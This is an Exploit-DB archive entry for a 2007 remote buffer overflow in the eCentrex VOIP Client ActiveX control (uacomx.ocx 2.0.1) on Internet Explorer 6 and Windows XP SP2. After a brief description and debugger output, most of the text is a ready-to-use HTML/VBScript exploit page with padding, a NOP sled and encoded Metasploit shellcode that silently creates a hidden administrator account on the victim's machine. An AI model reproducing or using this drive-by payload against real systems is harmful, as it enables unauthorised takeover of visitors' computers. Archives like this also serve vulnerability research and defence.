eCentrex VOIP Client module (uacomx.ocx 2.0.1) remote buffer overflow exploit

vendor:

Unknown

by:

rgod

7.5

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: Unknown

Affected Version From: 2.0.1

Affected Version To: 2.0.1

Patch Exists: NO

Related CWE: Unknown

CPE: eCentrex VOIP Client module (uacomx.ocx)

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP2 with Internet Explorer 6

2007

eCentrex VOIP Client module (uacomx.ocx 2.0.1) remote buffer overflow exploit

Passing more than 164 chars to ReInit method in Username argument causes a buffer overflow in the eCentrex VOIP Client module (uacomx.ocx 2.0.1) on IE6 / XP SP2. This leads to an access violation and overwrites the structured exception handler (SEH).

Mitigation:

Unknown

Source

Exploit-DB raw data:

<!--
17/08/2007 04.41.37
eCentrex VOIP Client module (uacomx.ocx 2.0.1) remote buffer overflow
exploit (ie6 / xp sp2)

passing more than 164 chars to ReInit method in Username argument
EAX 41414131
ECX 0013D444 ASCII "AAAAAAAA...
EDX 00000000
EBX 00000000
ESP 0013D3A0
EBP 0013D458 ASCII "AAAAAAAA...
ESI 41414131
EDI 00000001
EIP 04C4C945 euacom.04C4C945

...
04C4C945   8B0E             MOV ECX,DWORD PTR DS:[ESI]
04C4C947   8B01             MOV EAX,DWORD PTR DS:[ECX]
04C4C949   FF50 10          CALL DWORD PTR DS:[EAX+10]

Access violation when reading 41414131
also seh is overwritten

object safety report
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data
IPStorage Safe:  Safe for untrusted: caller,data
KillBitSet: False

this was the codebase:
http://202.73.10.134/e800/euacom/uacomx.cab

vendor:
http://www.e800phone.com/abtus.htm

rgod.
site: http://retrogod.altervista.org
-->
<html>
<object classid='clsid:BD80D375-5439-4D80-B128-DDA5FDC3AE6C' id='IUAComFormX' /></object>
<script language='vbscript'>
'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add
scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44")

'try this kind of command: msfpescan -d ./tools/iexplore -x "\x00\x13\x41\x00"
esi = unescape("%65%1a%2f%7e") '0x7e2f1a65 -> 0x00134200 - jumpin' in the middle of pad...

l_pad = Replace( Space(2555), " ", unescape("%1b%27%3f%7e") )' 0x7e3f272b -> 0x00137000 - jumping to ultranop, worked 100%, you really need javashit spray every time?

l_nop = string(12222,unescape("%90"))

UserName      = String(164,"A") + esi + l_pad + l_nop + scode
Password      = ""
ProxyServerIP = ""
ProxyIP       = ""
Project       = ""
PortNo = 1
IUAComFormX.ReInit UserName ,Password ,ProxyServerIP ,ProxyIP ,Project ,PortNo
</script>
</html>

# milw0rm.com [2007-08-21]